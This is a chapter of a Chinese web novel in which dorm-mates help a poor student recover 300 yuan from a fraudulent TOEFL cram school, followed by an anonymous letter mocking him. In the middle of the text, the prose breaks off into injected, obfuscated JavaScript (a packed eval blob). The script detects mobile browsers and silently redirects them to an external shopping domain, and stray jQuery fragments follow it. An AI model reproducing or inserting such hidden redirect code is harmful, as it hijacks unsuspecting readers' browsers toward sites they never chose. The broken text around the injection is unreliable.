英语四级报名的事刚尘埃落定，李学俭就像上了发条似的，每天早上五点准时出现在桌边，台灯用报纸围了一圈，只露出一个拳头大的光圈。那点光在黑暗中像一只不肯闭上的眼睛，孤零零地亮着，陪着它的是翻书声和极其克制的默念。张卫国被他闹钟吵醒了好几回，本想发火，探出头看到李学俭弓着背趴在桌上的样子，又把话咽了回去。
“老七这是要把命搭在英语上。”张卫国洗漱的时候小声跟我说。
“他不是要把命搭上，他是要把命从那封信里捞出来。”
张卫国没再问。他知道我说的是哪封信——李学俭刚来时，枕头底下那封家里的信。他爸在山东打工，他妈一个人种地，全村凑钱供他读书。他肩上扛着的不是自己的前途，是整个宾县那个小村庄的盼头。可我不知道的是，还有另一封信，正悄悄朝517飞来。
那天下午，李学俭从图书馆回来，脸上的表情跟平时不太一样。不是高兴，是一种压不住的、快要溢出来的兴奋。他的眼睛亮亮的，嘴角往上翘着，手里攥着一张纸，像攥着一张中了奖的彩票。
“哥几个，我跟你们说个事。”他的声音都在抖。
“说。”马俊才从上铺探出头。
“我在学校公告栏看到一张海报——托福冲刺班，三个月保过，不过全额退款。上课的老师是北京来的，据说押题特别准，每年都押中好几道大题。”
马俊才从上铺翻下来，接过那张传单看了看。白纸黑字，印着“环球托福”四个大字，下面是一排小字：“名师授课，内部资料，模考密卷，不过退费。”地址在学府路尽头的一栋写字楼里，离学校不算远。
“多少钱？”我问。
“三百。”李学俭的声音小了一点。
寝室里安静了一瞬。三百块，对一个普通学生来说不是小数目，对李学俭来说，是一个学期的生活费。他每个月的伙食费控制在三十块以内，三百块是他从牙缝里省出来的全部家当。
“你哪来那么多钱？”张卫国皱起眉头。
“我攒的。从上学期就开始攒了。”李学俭顿了顿，“我本来想留着交下学期的学费，但托福更重要。早考过早安心。”
马俊才看了他一眼，没说话。林文斌从书上抬起头，推了推眼镜，拿过那张传单翻来覆去看了几遍。他把传单凑到灯下，盯着那排小字看了很久。
“老七，这上面没写授课老师的名字。”
“嗯。”
“也没写具体课时。”
“嗯。”
“也没写退费细则。”
李学俭的脸色白了一下，但他很快把那丝不安压了下去。“他们说开课后如果不满意，可以全额退款。我去问过了，前台那个人很热情，还让我看了他们往期的学员反馈。好几页纸，都是手写的感谢信。”
林文斌把传单还给他，没再说什么。但他的眉头没有松开。
那天晚上熄灯后，李学俭在床上翻来覆去。我以为他是激动得睡不着，后来才发现，他是在盘算怎么凑那三百块。他的存款只有两百出头，还差将近一百块。他把抽屉翻了一遍，把所有硬币都数出来，数了又数，还差八十七块。
“老七，钱不够？”我小声问。
“够。”他说，“我想办法。”
我不知道他想了什么办法。但接下来几天，他每天晚饭只喝一碗粥，就着从家里带来的咸菜。食堂的红烧肉他看都不看一眼，锅包肉更是碰都不碰。张卫国把肉夹到他碗里，他又夹回去，说“减肥”。张卫国说“你减什么肥，你瘦得跟竹竿似的”，他说“竹竿也得减肥，竹竿太长了会断”。
张卫国被他噎住了，没再夹。
托福班开课那天，李学俭起了个大早。他把那本《英汉大词典》塞进书包，又塞了一个笔记本、两支笔，还塞了两个馒头和一根咸菜。他说中午不回学校了，在外面吃。
“你中午就吃馒头咸菜？”我问。
“够了。早上吃的饱，中午不饿。”
我没拆穿他。馒头咸菜是他一天的口粮，他舍不得在学校食堂吃一顿正经午饭。
他出门的时候，张卫国喊了一句：“老七，要是那个班不行，你就回来。别硬撑。”
李学俭笑了笑，拉开门走了。那笑容很浅，浅到不注意根本看不到。但我看到了。
那天下午，李学俭回来得比平时早。
他推开门的时候，我们都以为他上完课回来了。但他站在门口，脸色不对。不是难过，是那种被人从背后狠狠推了一把、还没反应过来是怎么回事的茫然。他的书包瘪了，那本《英汉大词典》还在，但笔记本没了，笔也没了。
“老七，咋了？”张卫国第一个问。
他走进来，把书包放在桌上，坐在床边，低着头，不说话。过了很久，他才开口，声音沙哑得像砂纸：“那个班……是骗人的。”
寝室里安静了。
“交完钱，发了三本破资料，说是内部教材。翻开一看，全是复印的旧题，答案还有错的。上课的老师根本不是北京来的，是旁边大学的一个研究生，自己托福都没考过。”他的声音越来越小，“我问能不能退费，他们说合同上写了，开课后不予退费。我仔细看了合同，那行字用很小的字体印在背面，我签的时候没注意……”
马俊才从床上跳下来，一把抓起李学俭的书包，翻出那三本资料。纸张粗糙，印刷模糊，封面是彩色打印纸糊的。他随手翻了几页，脸色铁青。
“三百块就买这玩意儿？”
李学俭没说话。他把头埋得更低了。
“你交了多少？”我问。
“三百。全交了。”
我知道那三百块是怎么来的。他从上学期就开始攒，每个月从嘴里省，省到胃病犯了都舍不得买药。他把所有的硬币数了一遍又一遍，把大票换成小票，把小票换成硬币，又换成大票，反复清点，像守财奴点数自己的命根子。那些钱是他的命，是他出国的第一步。
现在这一步踩空了。
真正的绝望不是没有路，是路就在眼前，但你发现它是纸糊的。
张卫国一拍桌子站起来：“那个培训班在哪儿？俺去找他们！”
“五哥，别去了。”李学俭拉住他的袖子，“合同上白纸黑字写着，是我自己没看清。”
“你看不清，他们故意不让你看清！这是诈骗！”
李学俭没松手。他低着头，肩膀在抖。我们都以为他在哭，但过了好一会儿，他抬起头，眼眶红红的，一滴眼泪都没掉。他说：“怪我。我太急了。我太想出国的，急到连这么明显的骗局都看不出来。”
马俊才蹲下来，看着他的眼睛。“老七，你怪自己干嘛？你急着出国，不是因为你虚荣，是因为你想让那些看不起你的人闭嘴。这没错。”
“但钱没了。”
“钱没了可以再攒。人不能垮。”
那天晚上，林文斌没有去图书馆。他坐在桌边，把那三本破资料翻了个遍，又把那张传单和合同看了好几遍。他拿起笔在纸上写写画画，眉头拧成一个疙瘩。
“老二，你过来看看这个。”
马俊才凑过去。林文斌指着合同上的一行小字：“这个培训班的注册地址在学府路XX号，但落款的公章是另一家公司。这说明他们可能没有办学资质，属于超范围经营。如果他们本身就不具备培训资格，那这份合同就是无效的。”
马俊才的眼睛亮了。“你是说……”
“我们可以去工商局查一下这家公司。”林文斌的语速很快，每个字都像手术刀一样精准，“如果查实他们没有办学资质，这份合同从一开始就不成立。老七交的钱，一分不少都得退。”
李学俭猛地抬起头，眼睛里重新有了光。
第二天是周六，我们兵分两路。林文斌和马俊才去工商局查注册信息，我和张卫国去那个培训班蹲点。赵志远和周明远留守，负责整理合同和证据。
工商局的查询比想象中顺利。林文斌拿到的资料显示，那家所谓的“环球托福”根本就没有教育培训的经营范围，注册资金只有三万块，法人代表是一个姓刘的人，跟传单上的“北京名师”没有任何关系。更关键的是，这个法人代表的手机号，和招生海报上的联系电话是同一个。
“他们连换个号码都懒得换。”马俊才说。
“不是懒得换，是觉得没人会查。”林文斌把那沓资料装进文件袋，“现在我们去要钱。”
我们六个一起去了那栋写字楼。李学俭走在中间，手插在裤兜里，攥着一张纸——那是他复印的合同。他的手指把纸边都捏皱了。
前台是个二十出头的姑娘，看到我们七个大男生涌进来，脸色变了。她还没来得及说话，马俊才就把那沓工商资料拍在前台上。
“叫你们负责人出来。”
“我们……我们负责人不在。”她的声音在抖。
“不在没关系。我们在这儿等他。”马俊才拉了一把椅子坐下，翘起二郎腿，“什么时候来，我们什么时候走。”
张卫国靠在门框上，双臂抱胸，一米八几的大个子把门口堵得严严实实。赵志远站在走廊里，不挡路，但他的目光把每一个想进出的工作人员都盯了回去。
前台打电话的声音压得很低，但我们还是听到了。过了大约二十分钟，一个穿灰色夹克的中年男人从电梯里走出来，脸上的笑容像是贴上去的，不自然。
“各位同学，有什么事好好说。”
“你是负责人？”林文斌问。
“我是。”
“那好。”林文斌把合同和工商资料递过去，“你们的经营范围里没有教育培训，这份合同是无效的。我同学交的三百块钱，请你现在就退。”
负责人看了看资料，脸上那层笑容僵住了。他试图解释，但马俊才根本不给他机会：“不退也行。我们去工商局举报，去教育局举报，再去报社举报。你看哪个划算。”
负责人的脸从红变白，从白变青。他转身进了里屋，过了一会儿拿出一沓钱，数了三百块，放在前台。
“钱退给你们。这事就算了了。”
马俊才拿起钱数了一遍，递给李学俭。李学俭接过钱，攥在手心里，攥得指节发白。他把钱放进口袋，拉好拉链，然后抬起头，看着那个负责人，说了一句让所有人都没想到的话。
“你们骗了多少人？”
负责人愣了一下。“什么？”
“你们骗了多少人？那些相信你们能帮他们考上托福的人，你们骗了多少？”
负责人张了张嘴，没说出话。
李学俭没有等他回答。他转身走了。
善良的人不是不愤怒，是他愤怒的时候，还在替那些比他更惨的人着想。李学俭拿回钱的第一反应，不是庆幸，是问“你们骗了多少人”。
从写字楼出来，哈尔滨的风很大，吹得人睁不开眼睛。李学俭走在最前面，脚步很快。我们跟在他后面，谁也没说话。走到学府路和测绘路的交叉口，他忽然停下来，转过身，看着我们。
“哥几个，谢谢。”
“谢啥？”张卫国说，“你又没请我们吃锅包肉。”
“等我过了四级，请你们吃一个月的。”
“你上次也这么说。”
“这次是真的。”
那天晚上，李学俭把那三本破资料扔进了垃圾桶。他从书架上拿下那本《英汉大词典》，翻到第一页，看了一会儿，放到枕头底下。他没有再提托福班的事，但第二天早上，他书桌上多了一本新书——《托福词汇精选》。书页很新，边角还没磨毛，扉页上写着一行字：“一步一个脚印，自己来。”
书是林文斌放在那儿的。他一大早去了新华书店，用自己的伙食费买的。他没说多少钱，李学俭也没问。有些账，不是用钱算的。
马俊才从抽屉里翻出一张皱巴巴的纸，是他之前写的四级单词表，递给李学俭。“老七，这是我背过的，有些单词我标注了记法。你拿去用。反正我过了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648810|206845||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你不是说你的单词表不外借吗？”
“不外借，送你的。”
李学俭接过那张纸，看了很久。纸上有马俊才用红笔画的圆圈、箭头、各种稀奇古怪的记忆符号，还有好几处错别字——他把“abandon”写成了“abanden”，划掉重写，又写错了，又划掉。李学俭盯着那个被反复涂改的“abandon”，忽然笑了。
“二哥，你这个‘abandon’写了三遍都写错了。”
“错了吗？我看看……还真是。”马俊才把纸拿回去，拿起笔改了一遍，“这回对了。”
“你确定？”
“……不确定。你查查词典。”
李学俭翻开词典，查到abandon，拼写是a-b-a-n-d-o-n。马俊才写的a-b-a-n-d-e-n，少了个o，多了个e。他又改了一遍，又错了。最后还是李学俭帮他写上去的。
“二哥，你这个英语，怎么过的四级？”
“蒙的。”
“六十一分也能蒙出来？”
“运气好。”
张卫国在旁边听不下去了：“老二，你那不是运气，是老四教你教得好。”
马俊才难得没反驳。他拍了拍李学俭的肩膀：“老七，我的英语是老大教出来的。你的英语……”他看了林文斌一眼，“老四也会教你的。对不对，老四？”
林文斌从书上抬起头，看了一眼李学俭，说了一个字：“嗯。”
李学俭的眼眶又红了。这次他没忍住，眼泪掉了一颗，砸在马俊才递过来的单词表上。他把单词表折好，塞进枕头底下，和那本《英汉大词典》放在一起。
有些路看起来是捷径，其实是陷阱。走得慢一点不怕，怕的是走错了方向还自以为在抄近道。
一个人可以被骗钱，但不能被骗走信心。李学俭的钱要回来了，他的信心也回来了。不是因为他幸运，是因为他身后站着六个人。
最好的帮助不是替他把路铺好，是把他从坑里拉出来后，递给他一盏灯，让他自己走。
那本《托福词汇精选》，李学俭背了整整一年。翻到第三遍的时候，书脊已经开裂了，他用透明胶带缠了又缠。缠到最后，透明胶带比书脊还厚。他舍不得换新的，说这本书记着第一次被骗的教训，也记着兄弟们一起上门要账的仗义。
马俊才看着他那本缠满胶带的书，说了一句：“老七，你这本书，比我那根大骨头还值钱。”
“你那根大骨头是猪的，我这本是猪的也是我的。”
“你骂谁是猪？”
“我没骂你。”
“你说‘猪的也是我的’。”
“那是我自己的。”
两个人拌了半天嘴，谁也没生气。
那天晚上熄灯后，李学俭在被窝里翻来覆去。我以为他还在为白天的事难受，正想说点什么，忽然听到他闷闷地笑了一声。
“老七，你笑啥？”
“六哥，”他的声音从被窝里传出来，带着一点得意，“我今天背了五十个单词。一个都没忘。”
我愣了一下，也笑了。
窗外，月光从窗帘的缝隙挤进来，落在李学俭的床上。他的枕头底下，压着那本《英汉大词典》和马俊才送他的单词表。词典的第一页，他用铅笔写着——“abandon。不是我的终点。”
而他真正的起点，不是那本词典，是那封还没寄到的信。
几天后，李学俭从传达室拿回一封信。信封上没有寄信人，没有地址，只有“李学俭收”四个字，字迹歪歪扭扭。他拆开信，里面只有一张纸条，上面写着：“李学俭，你别以为自己多了不起。你不过是个农村来的穷小子，英语烂得一塌糊涂，四级能过就见鬼了。还出国？别做梦了。”
没有落款。
他把信看完，没说话。他把信折好，塞进枕头底下，躺下，盖好被子，闭上眼睛。我以为他睡了。但过了很久，我听到他翻了个身，床板咯吱响了一声。
“六哥。”
“嗯。”
“你睡了吗？”
“没。”
“你说……我是不是真的不行？”
我愣了一下。“谁说你不行？”
“信上写的。”
我坐起来，看着对面下铺。月光下，他的眼睛是亮的，没有泪。
“老七，信是谁写的？”
“不知道。没有落款。”
“那你信他？”
“我不信。”他顿了顿，“但我怕他是对的。”
我没接话。我知道他怕的不是那封信，是他心里那个一直在问“你行吗”的声音。那个声音从宾县的田埂上就跟着他了，跟了十八年，从来没停过。
“老七。”
“嗯。”
“你记得你第一次拿到奖学金那天吗？”
“记得。”
“你那天从公告栏跑回来，推开门，说‘我拿到了’。你的眼睛是亮的。不是灯照的，是你自己的光。”
他没说话。
“那封信写的是别人的嘴，你拿奖学金是你自己的腿。嘴长在别人身上，腿长在你自己身上。”
他沉默了很久。
窗外的风吹得杨树叶子哗哗响。哈尔滨的夜，静得能听到自己的心跳。
“六哥。”
“嗯。”
“你说，我以后能出国吗？”
“能。”
“你怎么知道？”
“因为你想。一个人想做的事，总能做成。”
他笑了一下，把脸埋进被子里。那笑容很轻，很浅，但我看到了。
有些人骂你，是因为你比他努力；有些人恨你，是因为你的存在让他觉得自己不够好。李学俭不知道，那封恶作剧信的作者，不是嫉妒他英语好，是嫉妒他那么差还那么努力。
下一章，张卫国的五十八分。解剖学成绩出来那天，他拿着成绩单在寝室门口站了很久，不敢进来。